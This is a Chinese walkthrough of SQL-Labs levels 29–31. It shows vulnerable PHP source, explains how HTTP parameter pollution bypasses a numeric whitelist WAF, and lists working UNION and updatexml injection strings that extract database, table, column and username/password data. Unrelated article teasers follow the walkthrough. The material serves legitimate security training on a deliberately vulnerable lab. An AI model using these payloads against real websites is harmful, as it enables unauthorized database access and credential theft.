SQL-Labs靶场“29-31”关通关教程

news2024/11/15 9:06:35

君衍.

  • 一、二十九关 基于错误的WAF单引号注入
    • 1、源码分析
    • 2、HTTP参数污染
    • 3、联合查询注入
    • 4、updatexml报错注入
  • 二、三十关 基于错误的WAF双引号注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入
  • 三、三十一关 基于错误的WAF双引号括号注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程
SQL-Labs靶场“26-28”关通关教程

一、二十九关 基于错误的WAF单引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

这道题如果按照我们以往的思路去做其实是错误的,下面我们进行错误的示范,首先使用1以及1单引号进行测试:
在这里插入图片描述
在这里插入图片描述
好了,这下我们直接发现了可以使用联合查询以及报错注入了。然后我们查字段···爆数据,最后发现注入成功了:
在这里插入图片描述
对,上面便是错误的解题,因为我们会发现这一关跟第一关没啥区别了,很简单,实际上我们首先需要进行源码的分析。

1、源码分析

本关包含了三个源码文件,index.php、login.php以及hacked.php文件:
三个文件所展示的页面依次如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好的,下面我们来分析源代码,由于hacked.php源码没啥东西,这里就不详细讲了,需要的查看图片。
index.php:

if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
	  	echo 'Your Login name:'. $row['username'];
	  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
		print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

下面我进行大致解读,首先就是获取传入id的值,然后执行whitelist进行过滤检测,判断看是否有符号限制规则。之后就是查询,查到显示查询结果,没查到报错。

login.php:

if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
	  	echo 'Your Login name:'. $row['username'];
	  	echo 'Your Password:' .$row['password'];  	}
	else 
	{
		print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

接着我进行大致解读,首先查询query字符串,模拟tomcat的查询函数处理,之后再次进行过滤检测,将结果传入sql查询语句当中继续进行查询,如果查询到信息,输出查询信息,如果查不到,那么就输出报错结果。

下面便是最关键的一部分,也是login.php中的两个函数:

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

以上是两个函数的源码,下面我们进行分析:

  • $match = preg_match("/^\d+$/", $input);
    • 在whitelist函数当中,首先对获取到的id参数进行正则匹配,必须是数字,^表示匹配输出子行首,$符表示匹配输入行尾,\d匹配一个数字字符,0-9,+表示匹配前面得子表达式一次或多次
  • 然后进行if判断,如果不是数字,那么跳转到hacked.php页面,以上便是whitelist函数内容
  • 下面是java_implimentation函数
    • $q_s = $query_string;$qs_array= explode("&",$q_s);
    • 这里首先将$query_string的变量值赋给$q_s变量,下一步便是使用explode函数将字符串$q_s根据&符号进行分割,生成一个$qs_array数组。也就是将id=1&id=2分割为[id=1,id=2]

最后便是一个遍历函数:

# 遍历数组中每一个元素,同时将值赋给key
# 当前元素将值赋给value
foreach($qs_array as $key => $value)
{
	# 使用substr函数从value中提取两个字符赋给val
	$val=substr($value,0,2);
	# 进行判断,看val是否等于字符串id
	# 如果当前元素的前两个字符是id
	if($val=="id")
	{
		# 从当前元素值value中提取第四个字符开始30个字符,赋给id_value
		$id_value=substr($value,3,30); 
		return $id_value;
		echo "<br>";
		break;
	}
}

对,这里我们看似没有问题,实际上:

$id1=java_implimentation($qs);
...
whitelist($id1);

这个函数捕捉到id值时候就会返回return $id_value,这样就会导致用户加入构造两组id,后面的id就会绕过函数检测,如果还不懂的话我们可以慢慢来,现在源码分析完了,我们接下来查看模拟的场景。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、HTTP参数污染

首先我们找到登录页面:
在这里插入图片描述
我们可以看到下面有两个文档,然后点击第一个链接:
在这里插入图片描述
往下滑即可看到:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到列举了好多中间件,以及获取的参数的情况表。这里我们着重认识apache、tomcat、python、php、IIS等常用的获取到参数的情况。
这里我们可以看到tomcat服务器只解析参数中的前者,而真正的apache服务器则解析后者:
在这里插入图片描述
所以这里我们就可以传入两个id参数,前者合法,然后后者进行注入。
这便是这关的原理!!!

?id=1&id=注入语句

以上便是HTTP参数污染中的情况,即为攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击。

3、联合查询注入

1、猜测字段

?id=1&id=1' order by 3--+
?id=1&id=1' order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1' union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1'union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

4、updatexml报错注入

1、爆出数据库名称

?id=1&id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

二、三十关 基于错误的WAF双引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=“$id”

本关与二十九关不同的点在于闭合方式不同,剩余的都相同。所以这里我就不讲原理了,直接查看源码注入即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

依旧是三个文件,源码与29关基本相同,除了闭合方式:

$id = '"' .$id. '"';
···
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

其余一致:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜测字段

?id=1&id=1" order by 3--+
?id=1&id=1" order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1" union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1" union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

3、updatexml报错注入

1、爆出数据库名称

?id=1&id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

三、三十一关 基于错误的WAF双引号括号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(“$id”)

本关与二十九关不同的点在于闭合方式不同,剩余的都相同。所以这里我就不讲原理了,直接查看源码注入即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

依旧是三个文件,源码与29关基本相同,除了闭合方式:

$id = '"' .$id. '"';
···
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

其余一致:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜测字段

?id=1&id=1") order by 3--+
?id=1&id=1") order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1") union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1") union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

3、updatexml报错注入

1、爆出数据库名称

?id=1&id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1486291.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

windows10下如何通过命令行方式新增一个外部WLAN的Wifi热点并连接

☞ ░ 前往老猿Python博客 ░ https://blog.csdn.net/LaoYuanPython 一、背景 最近碰到2个家人windows下连接电脑热点的问题&#xff0c;一个是在某个培训场所显示的热点名称不是公布的热点名称&#xff0c;而是一个乱码&#xff0c;在家里和工作单位热点则显示正常&#xff…

【二叉搜索树】【前后指针】Leetcode 501. 二叉搜索树中的众数

【二叉搜索树】【前后指针】Leetcode 501. 二叉搜索树中的众数 解法1 中序遍历双指针解法2 我的复杂方法 先中序遍历到数组&#xff0c;之后hashmap遍历判断众数 之后转化为数组输出 ---------------&#x1f388;&#x1f388;题目链接&#x1f388;&#x1f388;-----------…

(已解决)emoji及其特殊符号在vue中的使用

问题叙述 使用问题&#xff1a;在表情库中点击后无法展示对应的emoji表情&#xff0c;仅仅显示Unicode代码编号&#xff0c;按照vue eslint规则更改添加分号后&#xff0c;没有报错但是依旧无法正确渲染。 问题源码&#xff1a; <template><div><!-- 被点击的…

KubeSphere简介,功能介绍,优势,架构说明及应用场景

KubeSphere 是在目前主流容器调度平台 Kubernetes 之上构建的企业级分布式多租户容器平台&#xff0c;提供简单易用的操作界面以及向导式操作方式&#xff0c;在降低用户使用容器调度平台学习成本的同时&#xff0c;极大减轻开发、测试、运维的日常工作的复杂度&#xff0c;旨…

【问题解决】| 关于torch无法使用GPU的一些实验探索,思考

文章目录 1 研究背景2 问题解决2.1 问题一&#xff0c;这两个版本分别是怎么得到的&#xff1f;2.2 问题二&#xff0c;Windows下安装CUDA Tookit 是必须的吗&#xff1f;2.3 问题三&#xff0c;驱动版本必须大于等于运行时版本吗&#xff1f;2.4 问题四&#xff0c;只运行pip …

力扣110 平衡二叉树 Java版本

文章目录 题目描述代码 题目描述 给定一个二叉树&#xff0c;判断它是否是高度平衡的二叉树。 本题中&#xff0c;一棵高度平衡二叉树定义为&#xff1a; 一个二叉树每个节点 的左右两个子树的高度差的绝对值不超过 1 。 示例 1&#xff1a; 输入&#xff1a;root [3,9,…

python笔记_程序流程控制

A&#xff0c;顺序控制 程序从上到下逐行执行 python定义变量时&#xff0c;会合法地向前引用 age 1 age2 age 1 age2 age 1 age 1 ——>错误&#xff0c;age应在age2之前 B&#xff0c;分支控制 1&#xff0c;单分支if 语法 if 条件表达式 &#xff1a; 代码块 说明…

代码随想录day10(2)字符串:反转字符串Ⅱ (leetcode541)

题目要求&#xff1a;给定一个字符串 s 和一个整数 k&#xff0c;从字符串开头算起, 每计数至 2k 个字符&#xff0c;就反转这 2k 个字符中的前 k 个字符。如果剩余字符少于 k 个&#xff0c;则将剩余字符全部反转。如果剩余字符小于 2k 但大于或等于 k 个&#xff0c;则反转前…

两天学会微服务网关Gateway-Gateway简介

锋哥原创的微服务网关Gateway视频教程&#xff1a; Gateway微服务网关视频教程&#xff08;无废话版&#xff09;_哔哩哔哩_bilibiliGateway微服务网关视频教程&#xff08;无废话版&#xff09;共计17条视频&#xff0c;包括&#xff1a;1_Gateway简介、2_Gateway工作原理、3…

Git 基于ED25519、RSA算法生成 SSH 密钥

Git 基于ED25519、RSA算法生成 SSH 密钥 基于ED25519算法&#xff0c;生成密钥对命令如下&#xff1a; ssh-keygen -t ed25519 -C "邮箱地址"基于RSA算法&#xff0c;生成密钥对命令如下&#xff1a; ssh-keygen -t rsa -C "<注释内容>"基于ED255…

中国各省绿色金融试点DID数据集(2010-2023)

一、数据简介 最新的2010-2023年中国31省绿色金融试点DID数据&#xff0c;供大家研究使用。 数据说明&#xff1a;内含绿色金融改革创新试验区名单&#xff0c;将试验区获批当年及以后的政策虚拟变量项是否试点赋值为1&#xff0c;获批之前赋值为0。其中赣江新区、贵安新区为国…

MySQL基础-----SQL语句之DDL语句

目录 前言 开启登录数据库 一、数据库操作 1.查询所有数据库 2.切换使用数据库 3.查询当前使用的数据库 4.创建数据库 创建一个hello数据库, 使用数据库默认的字符集。 创建一个itheima数据库&#xff0c;并且指定字符集 5.删除数据库 二、表操作 1.查询当前数据库所有…

递归与递推(蓝桥杯 c++)

目录 题目一&#xff1a; 代码&#xff1a; 题目二: 代码&#xff1a; 题目三&#xff1a; 代码&#xff1a; 题目四&#xff1a; 代码&#xff1a; 题目一&#xff1a; 代码&#xff1a; #include<iostream> #include<cstring> using namespace std; int …

deep learning with pytorch(一)

1.create a basic nerual network model with pytorch 数据集 Iris UCI Machine Learning Repository fully connected 目标:创建从输入层的代码开始&#xff0c;向前移动到隐藏层&#xff0c;最后到输出层 # %% import torch import torch.nn as nn import torch.nn.funct…

Vue开发实例(五)修改项目入口页面布局

修改项目入口 一、创建新入口二、分析代码&#xff0c;修改入口三、搭建项目主页面布局1、Container 布局容器介绍2、创建布局3、布局器铺满屏幕4、创建Header页面5、加入Aside、Main和Footer模块 一、创建新入口 创建新的入口&#xff0c;取消原来的HelloWorld入口 参考代码…

图像分割 - 凸包(图像的轮廓)

1、前言 之前的文章 绘制几何图形的轮廓,介绍了矩形包围框和圆形包围框。 虽然这两种包围框以及足够逼近图形的边缘,但为了保持几何形状(矩形和圆形),其实与图形的真实轮廓贴合度较差,为了更贴近图形轮廓,这里介绍凸包。 凸包:图形最外层的端点,将端点连接起来,围…

[C++]AVL树怎么转

AVL树是啥 一提到AVL树&#xff0c;脑子里不是旋了&#xff0c;就是悬了。 AVL树之所以难&#xff0c;并不是因为结构难以理解&#xff0c;而是因为他的旋转。 AVL树定义 平衡因子&#xff1a;对于一颗二叉树&#xff0c;某节点的左右子树高度之差&#xff0c;就是该节点的…

训练2布线 玛露希尔

前言 这不是雕刻 是布线纹理绘制blender材质渲染 2D 3D 起手式 八点眼 侧峰线 三角鼻(三面鼻) 下颚角 额, 嘴 线 法令环 橄榄嘴

linux高级编程:线程(二)、进程间的通信方式

线程&#xff1a; 回顾线程&#xff08;一&#xff09;&#xff1a; 1.线程间通信问题 线程间共享同一个资源&#xff08;临界资源&#xff09; 互斥&#xff1a; 排他性访问 linux系统 -- 提供了Posix标准的函数库 -- 互斥量&#xff08;互斥锁&#xff09; 原子操作&#x…

内存管理 -----分段分页

分段 分段&#xff1a;程序的分段地址空间&#xff0c;分段寻址方案 两个问题 分段 &#xff1a;是更好分离和共享 左边是有序的逻辑地址&#xff0c;右边是无序的物理地址&#xff0c;然后需要有一种映射的关系&#xff08;段关联机制&#xff09; 各个程序的分配相应的地址…